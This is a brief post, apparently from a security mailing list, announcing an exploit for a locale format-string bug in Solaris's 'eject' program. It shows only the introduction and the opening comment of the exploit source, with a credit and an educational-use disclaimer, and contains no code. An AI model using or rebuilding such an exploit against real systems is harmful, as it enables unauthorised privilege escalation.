Hi,

Here is one exploit for locale format bug .
It should work in Solaris 2.x.
Thanks for Ivan Arce's post.

/* "eject" exploit for locale subsystem format strings bug In Solaris
 * Tested in Solaris 2.6/7.0
 * Script kiddies: you should modify this code
 * slightly by yourself. :)
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com>.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
